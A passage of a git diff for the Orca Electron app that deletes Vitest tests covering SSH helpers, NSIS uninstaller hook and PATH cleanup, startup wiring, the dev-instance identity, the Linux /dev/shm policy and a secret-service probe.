b/src/main/ssh/ssh-agent-identity-filter.test.ts @@ -142,23 +142,4 @@ describe('createIdentityFilteredAgent', () => { expect(createIdentityFilteredAgent('/tmp/agent.sock', ['~/.ssh/work_key'])).toBeUndefined() expect(mocks.createAgent).not.toHaveBeenCalled() }) - - it('delegates signing to the underlying agent', () => { - const allowedKey = makeKey('allowed') - const sign = vi.fn() - const options = { hash: 'sha256' as const } - const callback = vi.fn() - mocks.readFileSync.mockReturnValue('ssh-ed25519 AAAA allowed') - mocks.parseKey.mockReturnValue(allowedKey) - mocks.createAgent.mockReturnValue({ - getIdentities: vi.fn(), - sign - }) - - const agent = createIdentityFilteredAgent('/tmp/agent.sock', ['~/.ssh/work_key']) - const data = Buffer.from('payload') - agent?.sign(allowedKey as never, data, options, callback) - - expect(sign).toHaveBeenCalledWith(allowedKey, data, options, callback) - }) }) diff --git a/src/main/ssh/ssh-control-socket.test.ts b/src/main/ssh/ssh-control-socket.test.ts index 8e4d4c39fdf..ca6da357740 100644 --- a/src/main/ssh/ssh-control-socket.test.ts +++ b/src/main/ssh/ssh-control-socket.test.ts @@ -113,22 +113,4 @@ describe.skipIf(process.platform === 'win32')('getControlSocketPath', () => { expect(after).not.toBe(before) }) - - it('uses XDG_RUNTIME_DIR before tmp when it is absolute and private', () => { - vi.stubEnv('XDG_RUNTIME_DIR', '/run/user/501') - - const path = getControlSocketPath(createTarget(), createResolved()) - - expect(path).toMatch(/^\/run\/user\/501\/orca-ssh\/[0-9a-f]{16}$/) - }) - - it('falls back to non-multiplexed SSH when the control directory is unsafe', () => { - lstatSyncMock.mockReturnValue({ - isDirectory: () => false, - uid: CURRENT_UID, - mode: 0o40700 - }) - - expect(getControlSocketPath(createTarget(), createResolved())).toBeNull() - }) }) diff --git a/src/main/ssh/ssh-host-server-on-connect-held-move.test.ts b/src/main/ssh/ssh-host-server-on-connect-held-move.test.ts index 0f12d5f017e..fa29d0327e8 100644 --- a/src/main/ssh/ssh-host-server-on-connect-held-move.test.ts +++ b/src/main/ssh/ssh-host-server-on-connect-held-move.test.ts @@ -10,8 +10,6 @@ import { unservedHostServerMessage, unservedServerStatus } from './ssh-host-unse import { admitSshManagedServerStatus } from '../../shared/ssh-managed-server-status-admission' const target: SshTarget = { id: 'ssh-1', label: 'Box', host: 'box', port: 22, username: 'me' } -// oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the orchestrator reads only the environment id. -const environment = { id: 'env-1' } as never function fencedHost(phase: 'source-fenced' | 'destination-staged', registered: boolean) { const host: { phase: string | null; registered: boolean } = { phase, registered } @@ -53,36 +51,6 @@ describe('a move to the managed server that stops short', () => { warn.mockRestore() }) - it('resumes the same move on the next connect once the server answers', async () => { - const warn = vi.spyOn(console, 'warn').mockImplementation(() => undefined) - const { host, deps } = fencedHost('destination-staged', true) - const failing = deps({ - convert: vi.fn(async () => { - throw new Error('socket closed') - }), - abandonConversion: vi.fn(async () => { - throw new Error('socket closed') - }) - }) - await expect(resolveHostServerOnConnect(target, failing)).resolves.toMatchObject({ - held: true - }) - const convert = vi.fn(async () => { - host.phase = 'destination-committed' - return { outcome: 'converted' as const, environment, migrationId: 'm' } - }) - const next = deps({ convert }) - await expect(resolveHostServerOnConnect(target, next)).resolves.toEqual({ - route: 'managed', - environmentId: 'env-1' - }) - // Resumed through the registered server, without a fresh census or a second fence. - expect(next.ensureTunnel).toHaveBeenCalledWith('env-1') - expect(convert).toHaveBeenCalledWith(target, null) - expect(next.relayTerminals).not.toHaveBeenCalled() - warn.mockRestore() - }) - it('gives the host back, with no lock to report, when the server proves it holds nothing', async () => { const warn = vi.spyOn(console, 'warn').mockImplementation(() => undefined) const { host, deps } = fencedHost('destination-staged', true) @@ -138,39 +106,6 @@ describe('a move to the managed server that stops short', () => { warn.mockRestore() }) - it('finishes, rather than reports a lock, when the abort finds the move already committed', async () => { - const warn = vi.spyOn(console, 'warn').mockImplementation(() => undefined) - const { host, deps } = fencedHost('destination-staged', true) - const lost = deps({ - convert: vi.fn(async () => { - throw new Error('orcad_migration_commit_reply_lost') - }), - // The abort's re-read found the commit landed and recorded it. - abandonConversion: vi.fn(async () => { - host.phase = 'destination-committed' - }) - }) - await expect(resolveHostServerOnConnect(target, lost)).resolves.not.toHaveProperty('held') - const next = deps() - await expect(resolveHostServerOnConnect(target, next)).resolves.toEqual({ - route: 'managed', - environmentId: 'env-1' - }) - expect(next.convert).not.toHaveBeenCalled() - expect(next.retainCommittedSource).toHaveBeenCalledWith(target) - warn.mockRestore() - }) - - it('keeps a refusal’s own guidance even while the host stays locked', () => { - const decision = { - route: 'unserved' as const, - reason: 'refused' as const, - detail: 'remove that project from this desktop and connect again', - held: true as const - } - expect(unservedHostServerMessage(decision)).toBe(decision.detail) - }) - it('carries the lock to the renderer, and drops anything but a literal true', () => { expect(admitSshManagedServerStatus({ kind: 'relay', reason: 'failed', held: true })).toEqual({ managedServer: { kind: 'relay', reason: 'failed', held: true } diff --git a/src/main/ssh/system-transport/system-ssh-sftp-path.test.ts b/src/main/ssh/system-transport/system-ssh-sftp-path.test.ts index 21442b78f5d..c0cb84358c0 100644 --- a/src/main/ssh/system-transport/system-ssh-sftp-path.test.ts +++ b/src/main/ssh/system-transport/system-ssh-sftp-path.test.ts @@ -12,10 +12,6 @@ describe('toSftpRemotePath', () => { expect(toSftpRemotePath('C:/Users/dev/f.bin')).toBe('/C:/Users/dev/f.bin') }) - it('accepts a path already in that namespace unchanged', () => { - expect(toSftpRemotePath('/C:/Users/dev/f.bin')).toBe('/C:/Users/dev/f.bin') - }) - it('converts the separators Orca stores paths with', () => { expect(toSftpRemotePath('C:\\Users\\dev\\f.bin')).toBe('/C:/Users/dev/f.bin') }) diff --git a/src/main/startup/agent-hooks-uninstall-preflight.test.ts b/src/main/startup/agent-hooks-uninstall-preflight.test.ts deleted file mode 100644 index babd72e3a95..00000000000 --- a/src/main/startup/agent-hooks-uninstall-preflight.test.ts +++ /dev/null @@ -1,204 +0,0 @@ -import { readFileSync } from 'node:fs' -import { dirname, join } from 'node:path' -import { describe, expect, it, vi } from 'vitest' -import type { AgentHookInstallStatus } from '../../shared/agent-hook-types' -import { getBundledLauncherPath } from '../cli/bundled-cli-launcher-path' - -const electron = vi.hoisted(() => ({ - exit: vi.fn(), - requestSingleInstanceLock: vi.fn(), - BrowserWindow: vi.fn(), - handle: vi.fn() -})) -const appData = vi.hoisted(() => ({ ensure: vi.fn() })) -const hooks = vi.hoisted(() => ({ - remove: vi.fn<() => Promise>(async () => []) -})) - -vi.mock('electron', () => ({ - app: { - exit: electron.exit, - getPath: () => '/user-data', - setPath: vi.fn(), - requestSingleInstanceLock: electron.requestSingleInstanceLock - }, - BrowserWindow: electron.BrowserWindow, - ipcMain: { handle: electron.handle } -})) -vi.mock('./windows-app-data-path', () => ({ ensureWindowsAppDataPath: appData.ensure })) -vi.mock('../agent-hooks/managed-agent-hook-controls', () => ({ - removeManagedAgentHooks: hooks.remove -})) - -import { - AGENT_HOOKS_UNINSTALL_FLAG, - removeAgentHooksForUninstall, - runAgentHooksUninstallPreflight -} from './agent-hooks-uninstall-preflight' - -function status(agent: 'claude' | 'codex', state: AgentHookInstallStatus['state']) { - return { agent, state, configPath: '', managedHooksPresent: false, detail: null } -} - -const nsis = (name: string): string => - readFileSync(new URL(`../../../config/nsis/${name}`, import.meta.url), 'utf8') - -function realUninstallBranch(): string { - const unInstall = nsis('orca-installer-hooks.nsh').slice( - nsis('orca-installer-hooks.nsh').indexOf('!macro customUnInstall') - ) - // The real-uninstall branch ends with the relocated daemon host's cleanup. - return unInstall.slice( - unInstall.indexOf('${ifNot} ${isUpdated}'), - unInstall.indexOf('daemon-host-profiles') - ) -} - -describe('managed agent hook removal on uninstall', () => { - it('succeeds only when no agent reports an error', async () => { - vi.spyOn(console, 'warn').mockImplementation(() => {}) - await expect( - removeAgentHooksForUninstall(async () => [ - status('claude', 'not_installed'), - status('codex', 'not_installed') - ]) - ).resolves.toBe(0) - await expect( - removeAgentHooksForUninstall(async () => [ - status('claude', 'not_installed'), - status('codex', 'error') - ]) - ).resolves.toBe(1) - await expect( - removeAgentHooksForUninstall(async () => { - throw new Error('settings unreadable') - }) - ).resolves.toBe(1) - }) - - it('ignores ordinary launches', () => { - expect(runAgentHooksUninstallPreflight(['Orca.exe'])).toBe(false) - expect(hooks.remove).not.toHaveBeenCalled() - }) - - it('removes every agent and exits, opening no window, lock or IPC', async () => { - electron.exit.mockClear() - hooks.remove.mockResolvedValueOnce([status('claude', 'not_installed')]) - - expect(runAgentHooksUninstallPreflight(['Orca.exe', AGENT_HOOKS_UNINSTALL_FLAG])).toBe(true) - - await vi.waitFor(() => expect(electron.exit).toHaveBeenCalledWith(0)) - expect(hooks.remove).toHaveBeenCalledExactlyOnceWith() - expect(electron.BrowserWindow).not.toHaveBeenCalled() - expect(electron.requestSingleInstanceLock).not.toHaveBeenCalled() - expect(electron.handle).not.toHaveBeenCalled() - }) - - it('exits 1 rather than leaving an error box when setup throws', () => { - vi.useFakeTimers() - electron.exit.mockClear() - appData.ensure.mockImplementationOnce(() => { - throw new Error('Orca could not find the Windows roaming AppData folder') - }) - try { - vi.spyOn(console, 'warn').mockImplementation(() => {}) - expect(runAgentHooksUninstallPreflight(['Orca.exe', AGENT_HOOKS_UNINSTALL_FLAG])).toBe(true) - expect(electron.exit).toHaveBeenCalledExactlyOnceWith(1) - // The timer armed before setup is cleared, so it can't exit a second time. - vi.runAllTimers() - expect(electron.exit).toHaveBeenCalledOnce() - } finally { - vi.useRealTimers() - } - }) -}) - -describe('the NSIS uninstaller', () => { - it('removes agent hooks on a real uninstall only, after the app is gone, never blocking', () => { - const branch = realUninstallBranch() - const launch = branch.indexOf( - `nsExec::Exec '"$INSTDIR\\\${APP_EXECUTABLE_FILENAME}" ${AGENT_HOOKS_UNINSTALL_FLAG}'` - ) - expect(launch).toBeGreaterThan(-1) - // Killed first, so a running Orca cannot reinstall the hooks behind the removal. - expect(launch).toBeGreaterThan(branch.indexOf('orca-terminal-daemon.exe')) - // The exit code is popped and never checked. - expect(branch.slice(launch).split('\n')[1].trim()).toBe('Pop $0') - expect(nsis('orca-installer-hooks.nsh').split(AGENT_HOOKS_UNINSTALL_FLAG)).toHaveLength(2) - }) - - it('keeps the hooks while another Orca install for this user still uses them', () => { - const branch = realUninstallBranch() - const launch = branch.indexOf(AGENT_HOOKS_UNINSTALL_FLAG) - const check = branch.indexOf('!insertmacro ORCA_OTHER_INSTALL_STATE $1') - expect(check).toBeGreaterThan(-1) - // Only a definite "no other install" runs the removal; "other" and "unknown" skip it. - const gate = branch.lastIndexOf('${if} $1 == "none"', launch) - expect(gate).toBeGreaterThan(check) - expect(branch.slice(gate, launch)).not.toContain('${endIf}') - expect(nsis('orca-installer-hooks.nsh')).toContain( - '!include "${__FILEDIR__}\\orca-other-install-check.nsh"' - ) - - const detect = nsis('orca-other-install-check.nsh') - // Both registrations a second install can have, by the key the installer writes. - expect(detect).toContain( - '!insertmacro ORCA_CHECK_ONE_REGISTRATION ${ORCA_OTHER_INSTALL_HKCU} HKCU ${OUT}' - ) - expect(detect).toContain( - '!insertmacro ORCA_CHECK_ONE_REGISTRATION ${ORCA_OTHER_INSTALL_HKLM} HKLM ${OUT}' - ) - expect(detect).toContain('ReadRegStr $R5 ${HIVE} "${INSTALL_REGISTRY_KEY}" InstallLocation') - // Our own registration is excluded, and the other one must still have the app. - expect(detect).toContain('${elseIf} $R5 != $INSTDIR') - expect(detect).toContain('${andIf} ${FileExists} "$R5\\${APP_EXECUTABLE_FILENAME}"') - // A read failure other than "no such key" reports unknown, which skips the removal. - expect(detect).toMatch( - /\$\{elseIf\} \$R7 != \$\{ORCA_ERROR_FILE_NOT_FOUND\}\s+StrCpy \$\{OUT\} "unknown"/ - ) - expect(detect).not.toMatch(/nsExec|ExecWait|powershell/i) - }) - - it('keeps the hooks when an Orca registration names no install location', () => { - const detect = nsis('orca-other-install-check.nsh') - // An opened key whose InstallLocation reads empty is doubtful, never "none". - expect(detect).toMatch( - /ReadRegStr \$R5 \$\{HIVE\} "\$\{INSTALL_REGISTRY_KEY\}" InstallLocation[\s\S]*?\$\{if\} \$R5 == ""\s+(?:;[^\n]*\n\s+)?StrCpy \$\{OUT\} "unknown"\s+\$\{elseIf\} \$R5 != \$INSTDIR/ - ) - }) - - it("removes the `orca` command's PATH entry on a real uninstall only", () => { - const hooksFile = nsis('orca-installer-hooks.nsh') - expect(hooksFile).toContain('!include "${__FILEDIR__}\\orca-user-path-cleanup.nsh"') - const call = '!insertmacro ORCA_REMOVE_USER_PATH_ENTRY "$INSTDIR\\resources\\bin"' - expect(realUninstallBranch()).toContain(call) - expect(hooksFile.split(call)).toHaveLength(2) - // The directory the app registers: the packaged launcher's folder. - const launcher = getBundledLauncherPath('win32', join('INSTDIR', 'resources')) - expect( - dirname(launcher ?? '') - .split(/[\\/]/) - .slice(-2) - ).toEqual(['resources', 'bin']) - }) - - it('edits PATH natively, keeps its type, and never writes back a truncated read', () => { - const cleanup = nsis('orca-user-path-cleanup.nsh') - const code = cleanup - .split('\n') - .filter((line) => !line.trim().startsWith(';')) - .join('\n') - expect(code).not.toMatch(/nsExec|ExecWait|powershell|reg\.exe|reg add/i) - expect(cleanup).toContain('IntOp $R2 ${NSIS_MAX_STRLEN} - 1') - expect(cleanup).toMatch(/\$\{andIf\} \$R1 < \$R2/) - expect(cleanup).toContain('WriteRegExpandStr HKCU "Environment" "Path" $R3') - expect(cleanup).toContain('WriteRegStr HKCU "Environment" "Path" $R3') - // Only a removal rewrites PATH, and only with a value type it actually read. - expect(cleanup).toMatch(/\$\{if\} \$R7 == 1\s+\$\{andIf\} \$R8 != ""/) - expect(cleanup.indexOf('${if} $R7 == 1')).toBeLessThan(cleanup.indexOf('WriteRegExpandStr')) - expect(cleanup).toContain('StrCpy $R8 ""') - expect(cleanup).toMatch(/\$\{if\} \$R7 == 0\s+StrCpy \$R8 \$R4/) - expect(cleanup).toContain('${elseIf} $R8 == ${ORCA_REG_SZ}') - expect(cleanup).not.toMatch(/\$\{else\}\s+WriteRegStr/) - }) -}) diff --git a/src/main/startup/codex-hook-startup-wiring.test.ts b/src/main/startup/codex-hook-startup-wiring.test.ts deleted file mode 100644 index 09bdab5d8a2..00000000000 --- a/src/main/startup/codex-hook-startup-wiring.test.ts +++ /dev/null @@ -1,132 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { GlobalSettings } from '../../shared/global-settings-types' - -const fixture = vi.hoisted(() => { - const settings: Partial = { agentStatusHooksEnabled: true } - return { - app: { isPackaged: true, on: vi.fn() }, - settings, - pathReady: Promise.resolve(), - startCodexHooks: vi.fn(), - installFirstWorkRename: vi.fn() - } -}) - -vi.mock('electron', () => ({ app: fixture.app, nativeTheme: {} })) -vi.mock('../codex/codex-hook-reconcile', () => ({ startCodexHooks: fixture.startCodexHooks })) -vi.mock('../agent-hooks/local-agent-cli-presence', () => ({ - hydrateAgentCliShellPath: () => fixture.pathReady -})) -// Use the real opt-out predicate to keep startup aligned with managed launches. -vi.mock( - '../agent-hooks/managed-agent-hook-controls', - async () => await import('../../shared/agent-status-hooks-setting') -) -vi.mock('./main-process-state', () => ({ - mainProcessState: { store: { getSettings: () => fixture.settings } } -})) -vi.mock('./main-process-runtime-service', () => ({ - initializeMainProcessRuntime: () => ({ - setAgentBrowserBridge: vi.fn(), - setEmulatorBridge: vi.fn() - }), - configureRuntimeServices: vi.fn() -})) -vi.mock('../star-nag/service', () => ({ - StarNagService: class { - start = vi.fn() - registerIpcHandlers = vi.fn() - } -})) -vi.mock('../browser/agent-browser-bridge', () => ({ - AgentBrowserBridge: class { - sweepOrphanedSessions = vi.fn() - } -})) -vi.mock('../emulator/emulator-bridge', () => ({ EmulatorBridge: class {} })) -vi.mock('../runtime/rpc/dispatcher', () => ({ RpcDispatcher: class {} })) -vi.mock('../browser/browser-manager', () => ({ browserManager: {} })) -vi.mock('../browser/browser-client-page-automation-runtime', () => ({ - configureBrowserClientPageAutomationRuntime: vi.fn() -})) -vi.mock('../crash-reporting/process-gone-diagnostics', () => ({ - startPreGoneCrashSampling: vi.fn() -})) -vi.mock('./main-window-lifecycle-flags', () => ({ recordProcessGoneCrash: vi.fn() })) -vi.mock('./gpu-lifecycle', () => ({ handleGpuChildCrash: vi.fn() })) -vi.mock('./configure-process', () => ({ shouldInstallManagedHooks: () => false })) -vi.mock('../agent-hooks/install-telemetry', () => ({ recordManagedHookInstallFailure: vi.fn() })) -vi.mock('./main-process-observers', () => ({ initializeMainProcessObservers: vi.fn() })) -vi.mock('./branch-rename-hook', () => ({ - installFirstWorkRenameHookSubscription: fixture.installFirstWorkRename -})) -vi.mock('./main-process-account-services', () => ({ - initializeMainProcessAccountServices: vi.fn() -})) -vi.mock('./main-process-automations', () => ({ initializeMainProcessAutomations: vi.fn() })) -vi.mock('./main-process-plugins', () => ({ initializeMainProcessPlugins: vi.fn() })) -vi.mock('../worktree-trash', () => ({ - collectWorktreeTrashSweepRoots: vi.fn(), - sweepStaleWorktreeTrash: vi.fn() -})) -vi.mock('./worktree-removal-records-load', () => ({ loadWorktreeRemovalRecordsForStore: vi.fn() })) -vi.mock('./first-window-deferral', () => ({ runAfterFirstWindowShown: vi.fn() })) -vi.mock('./startup-diagnostics', () => ({ logStartupMilestone: vi.fn() })) -vi.mock('../opencode/opencode-status-plugin-startup-refresh', () => ({ - refreshInstalledOpenCodeStatusPlugins: vi.fn() -})) -vi.mock('../orcad/orcad-artifact-cache-retention', () => ({ - pruneDesktopOrcadArtifactCache: vi.fn() -})) - -import { initializeReadyRuntimeServices } from './main-process-ready-runtime' - -// Start reconciles ~/.codex; awaiting shell PATH avoids launchd failing to find Codex. - -beforeEach(() => { - fixture.startCodexHooks.mockClear() - fixture.settings.disabledTuiAgents = [] -}) - -describe('Codex hook startup', () => { - it('starts once in app readiness, after the shell PATH is hydrated', async () => { - let hydrate: () => void = () => {} - fixture.pathReady = new Promise((resolve) => { - hydrate = resolve - }) - - await initializeReadyRuntimeServices() - - expect(fixture.startCodexHooks).toHaveBeenCalledTimes(1) - let ready = false - const { pathReady } = fixture.startCodexHooks.mock.calls[0]![0] - void pathReady.then(() => { - ready = true - }) - await new Promise((resolve) => setTimeout(resolve, 10)) - expect(ready).toBe(false) - hydrate() - await pathReady - expect(ready).toBe(true) - }) - - it("reads Codex's per-agent hook setting each time it is asked", async () => { - await initializeReadyRuntimeServices() - const { isEnabled } = fixture.startCodexHooks.mock.calls[0]![0] - - expect(isEnabled()).toBe(true) - fixture.settings.disabledTuiAgents = ['codex'] - expect(isEnabled()).toBe(false) - }) -}) - -// Headless serve never opens a window, so app readiness must arm rename (STA-5871). -describe('First-work rename startup', () => { - it('arms the hook subscription during app readiness, without a window', async () => { - fixture.installFirstWorkRename.mockClear() - - await initializeReadyRuntimeServices() - - expect(fixture.installFirstWorkRename).toHaveBeenCalledTimes(1) - }) -}) diff --git a/src/main/startup/dev-instance-identity.test.ts b/src/main/startup/dev-instance-identity.test.ts deleted file mode 100644 index 18d67d961bc..00000000000 --- a/src/main/startup/dev-instance-identity.test.ts +++ /dev/null @@ -1,78 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { getDevInstanceIdentity, shouldApplyPreReadyAppName } from './dev-instance-identity' - -describe('dev-instance-identity', () => { - it('keeps packaged identity stable', () => { - expect(getDevInstanceIdentity(false, {})).toMatchObject({ - name: 'Orca', - appName: 'Orca', - isDev: false, - devLabel: null, - dockBadgeLabel: null, - appUserModelId: 'com.stablyai.orca' - }) - }) - - it('pins a stable dev appName across branches so the safeStorage key does not churn', () => { - const a = getDevInstanceIdentity(true, { ORCA_DEV_BRANCH: 'feature/a' }) - const b = getDevInstanceIdentity(true, { ORCA_DEV_BRANCH: 'feature/b' }) - - expect(a.name).not.toBe(b.name) - expect(a.appName).toBe('Orca Dev') - expect(b.appName).toBe('Orca Dev') - expect(a.appName).not.toBe('Orca') - }) - - it('never renames a packaged build before ready', () => { - // Packaged forks must retain their CFBundleName-derived safeStorage key or encrypted secrets become orphaned. - expect(shouldApplyPreReadyAppName(getDevInstanceIdentity(false, {}))).toBe(false) - expect(shouldApplyPreReadyAppName({ isDev: false })).toBe(false) - }) - - it('applies the dev name before ready so safeStorage sees it', () => { - expect(shouldApplyPreReadyAppName(getDevInstanceIdentity(true, {}))).toBe(true) - }) - - it('derives a readable dev label from worktree and branch env', () => { - const identity = getDevInstanceIdentity(true, { - ORCA_DEV_REPO_ROOT: '/repo/worktrees/dev-indicator', - ORCA_DEV_WORKTREE_NAME: 'dev-indicator', - ORCA_DEV_BRANCH: 'nwparker/dev-indicator' - }) - - expect(identity).toMatchObject({ - isDev: true, - devLabel: 'dev-indicator', - devBranch: 'nwparker/dev-indicator', - devWorktreeName: 'dev-indicator', - devRepoRoot: '/repo/worktrees/dev-indicator' - }) - expect(identity.name).toBe('Orca: nwparker/dev-indicator') - expect(identity.dockBadgeLabel).toBeNull() - expect(identity.appUserModelId).toMatch(/^com\.stablyai\.orca\.dev\.[a-f0-9]{10}$/) - }) - - it('includes the branch when it differs from the worktree basename', () => { - const identity = getDevInstanceIdentity(true, { - ORCA_DEV_REPO_ROOT: '/repo/worktrees/payment-ui', - ORCA_DEV_WORKTREE_NAME: 'payment-ui', - ORCA_DEV_BRANCH: 'feature/billing-shell' - }) - - expect(identity.devLabel).toBe('payment-ui @ feature/billing-shell') - expect(identity.name).toBe('Orca: feature/billing-shell') - expect(identity.dockBadgeLabel).toBeNull() - }) - - it('allows an explicit label override', () => { - const identity = getDevInstanceIdentity(true, { - ORCA_DEV_INSTANCE_LABEL: 'manual label', - ORCA_DEV_WORKTREE_NAME: 'dev-indicator', - ORCA_DEV_BRANCH: 'feature/other' - }) - - expect(identity.devLabel).toBe('manual label') - expect(identity.name).toBe('Orca: feature/other') - expect(identity.dockBadgeLabel).toBeNull() - }) -}) diff --git a/src/main/startup/linux-dev-shm-policy.test.ts b/src/main/startup/linux-dev-shm-policy.test.ts deleted file mode 100644 index 9f95882a06b..00000000000 --- a/src/main/startup/linux-dev-shm-policy.test.ts +++ /dev/null @@ -1,145 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' - -const { appMock, statfsSyncMock, breadcrumbMock } = vi.hoisted(() => ({ - appMock: { - commandLine: { - appendSwitch: vi.fn(), - hasSwitch: vi.fn(() => false) - } - }, - statfsSyncMock: vi.fn(), - breadcrumbMock: vi.fn() -})) - -vi.mock('electron', () => ({ app: appMock })) -vi.mock('node:fs', async (importOriginal) => ({ - ...(await importOriginal>()), - statfsSync: statfsSyncMock -})) -vi.mock('../crash-reporting/crash-breadcrumb-store', () => ({ - recordCrashBreadcrumb: breadcrumbMock -})) - -const MIB = 1024 * 1024 -const originalPlatform = process.platform -const originalOverride = process.env.ORCA_DEV_SHM - -function setPlatform(platform: NodeJS.Platform): void { - Object.defineProperty(process, 'platform', { value: platform, configurable: true }) -} - -function mockDevShm(totalMib: number, freeMib: number): void { - // statfs reports sizes in blocks; use 4 KiB blocks like tmpfs. - const bsize = 4096 - statfsSyncMock.mockReturnValue({ - bsize, - blocks: (totalMib * MIB) / bsize, - bavail: (freeMib * MIB) / bsize - }) -} - -beforeEach(() => { - vi.resetModules() - appMock.commandLine.appendSwitch.mockReset() - appMock.commandLine.hasSwitch.mockReset() - appMock.commandLine.hasSwitch.mockReturnValue(false) - statfsSyncMock.mockReset() - breadcrumbMock.mockReset() - delete process.env.ORCA_DEV_SHM -}) - -afterEach(() => { - setPlatform(originalPlatform) - if (originalOverride === undefined) { - delete process.env.ORCA_DEV_SHM - } else { - process.env.ORCA_DEV_SHM = originalOverride - } -}) - -describe('configureLinuxDevShmUsage', () => { - it('moves Chromium shared memory off a Docker-default 64 MB /dev/shm', async () => { - setPlatform('linux') - mockDevShm(64, 60) - const { configureLinuxDevShmUsage } = await import('./linux-dev-shm-policy') - - configureLinuxDevShmUsage() - - expect(statfsSyncMock).toHaveBeenCalledWith('/dev/shm') - expect(appMock.commandLine.appendSwitch).toHaveBeenCalledWith('disable-dev-shm-usage') - expect(breadcrumbMock).toHaveBeenCalledWith('dev_shm_policy', { - devShmTotalMB: 64, - devShmFreeMB: 60, - devShmUsageDisabled: true, - reason: 'small' - }) - }) - - it('leaves a normally sized /dev/shm on the fast shared-memory path', async () => { - setPlatform('linux') - mockDevShm(8192, 8000) - const { configureLinuxDevShmUsage } = await import('./linux-dev-shm-policy') - - configureLinuxDevShmUsage() - - expect(appMock.commandLine.appendSwitch).not.toHaveBeenCalled() - expect(breadcrumbMock).toHaveBeenCalledWith('dev_shm_policy', { - devShmTotalMB: 8192, - devShmFreeMB: 8000, - devShmUsageDisabled: false, - reason: 'ok' - }) - }) - - it('disables /dev/shm usage when the mount is missing', async () => { - setPlatform('linux') - statfsSyncMock.mockImplementation(() => { - throw Object.assign(new Error('ENOENT'), { code: 'ENOENT' }) - }) - const { configureLinuxDevShmUsage } = await import('./linux-dev-shm-policy') - - configureLinuxDevShmUsage() - - expect(appMock.commandLine.appendSwitch).toHaveBeenCalledWith('disable-dev-shm-usage') - expect(breadcrumbMock).toHaveBeenCalledWith('dev_shm_policy', { - devShmUsageDisabled: true, - reason: 'unreadable' - }) - }) - - it('honors ORCA_DEV_SHM=off on a small mount and =force on a large one', async () => { - setPlatform('linux') - mockDevShm(64, 60) - process.env.ORCA_DEV_SHM = 'off' - const { configureLinuxDevShmUsage } = await import('./linux-dev-shm-policy') - configureLinuxDevShmUsage() - expect(appMock.commandLine.appendSwitch).not.toHaveBeenCalled() - - mockDevShm(8192, 8000) - process.env.ORCA_DEV_SHM = 'force' - configureLinuxDevShmUsage() - expect(appMock.commandLine.appendSwitch).toHaveBeenCalledWith('disable-dev-shm-usage') - }) - - it('does not append the switch twice when it is already on the command line', async () => { - setPlatform('linux') - mockDevShm(64, 60) - appMock.commandLine.hasSwitch.mockReturnValue(true) - const { configureLinuxDevShmUsage } = await import('./linux-dev-shm-policy') - - configureLinuxDevShmUsage() - - expect(appMock.commandLine.appendSwitch).not.toHaveBeenCalled() - }) - - it('is a no-op off Linux', async () => { - setPlatform('darwin') - const { configureLinuxDevShmUsage } = await import('./linux-dev-shm-policy') - - configureLinuxDevShmUsage() - - expect(statfsSyncMock).not.toHaveBeenCalled() - expect(appMock.commandLine.appendSwitch).not.toHaveBeenCalled() - expect(breadcrumbMock).not.toHaveBeenCalled() - }) -}) diff --git a/src/main/startup/linux-secret-service-probe.test.ts b/src/main/startup/linux-secret-service-probe.test.ts deleted file mode 100644 index 57046f0cf0e..00000000000 --- a/src/main/startup/linux-secret-service-probe.test.ts +++ /dev/null @@ -1,59 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' - -const runProcessSync = vi.hoisted(() => vi.fn()) -vi.mock('@orca/process-host', () => ({ runProcessSync })) - -const { probeSecretServiceCollection } = await import('./linux-secret-service-probe') - -function answers(overrides: Partial<{ code: number | null; stdout: string; timedOut: boolean }>) { - runProcessSync.mockReturnValue({ code: 0, stdout: '', stderr: '', timedOut: false, ...overrides }) -} - -describe('probeSecretServiceCollection', () => { - beforeEach(() => vi.clearAllMocks()) - - it('reports unlocked for the gdbus false variant', () => { - answers({ stdout: '(,)\n' }) - expect(probeSecretServiceCollection()).toBe('unlocked') - }) - - it('reports locked for the gdbus true variant', () => { - answers({ stdout: '(,)\n' }) - expect(probeSecretServiceCollection()).toBe('locked') - }) - - it('reports unavailable when no name owns org.freedesktop.secrets', () => { - answers({ code: 1, stdout: '' }) - expect(probeSecretServiceCollection()).toBe('unavailable') - }) - - // Timeout proves no collection state; report unavailable rather than invent a locked verdict. - it('reports unavailable when the probe is killed on its timeout', () => { - answers({ code: null, stdout: '', timedOut: true }) - expect(probeSecretServiceCollection()).toBe('unavailable') - }) - - it('reports unavailable when gdbus is not installed', () => { - runProcessSync.mockImplementation(() => { - throw Object.assign(new Error('spawnSync gdbus ENOENT'), { code: 'ENOENT' }) - }) - expect(probeSecretServiceCollection()).toBe('unavailable') - }) - - it('reports unavailable for output it does not recognise rather than assuming', () => { - answers({ stdout: '(<@ms "something else">,)' }) - expect(probeSecretServiceCollection()).toBe('unavailable') - }) - - // Require a kill deadline and a non-prompting property read so the probe cannot reproduce the stall. - it('bounds the child with a timeout and reads a property that cannot prompt', () => { - answers({ stdout: '(,)' }) - probeSecretServiceCollection() - const spec = runProcessSync.mock.calls[0]![0] - expect(spec.timeoutMs).toBeGreaterThan(0) - expect(spec.program).toBe('gdbus') - expect(spec.args).toContain('org.freedesktop.DBus.Properties.Get') - expect(spec.args).toContain('Locked') - expect(spec.args).not.toContain('Unlock') - }) -}) diff --git a/src/main/startup/main-process-observers-hang-breadcrumb.test.ts b/src/main/startup/main-process-observers-hang-breadcrumb.test.ts deleted file mode 100644 index 3f0d32593f1..00000000000 --- a/src/main/startup/main-process-observers-hang-breadcrumb.test.ts +++ /dev/null @@ -1,125 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { existsSync, mkdtempSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { setActiveSink } from '../observability/tracer' -import { - writeHangDetectionMarker, - hangDetectionMarkerPath -} from '../hang-watchdog/hang-detection-marker' - -const events: string[] = [] -const breadcrumbData = new Map() -let profilePath = '' -vi.mock('../persistence', () => ({ getCanonicalUserDataPath: () => profilePath })) - -vi.mock('electron', () => ({ - app: { isPackaged: true, getPath: () => '/tmp/orca-test' } -})) -vi.mock('../observability', () => ({ - initObservability: () => { - events.push('observability') - setActiveSink({ push() {}, flush() {}, close() {} }) - } -})) -vi.mock('../crash-reporting/durable-crash-breadcrumb', () => ({ 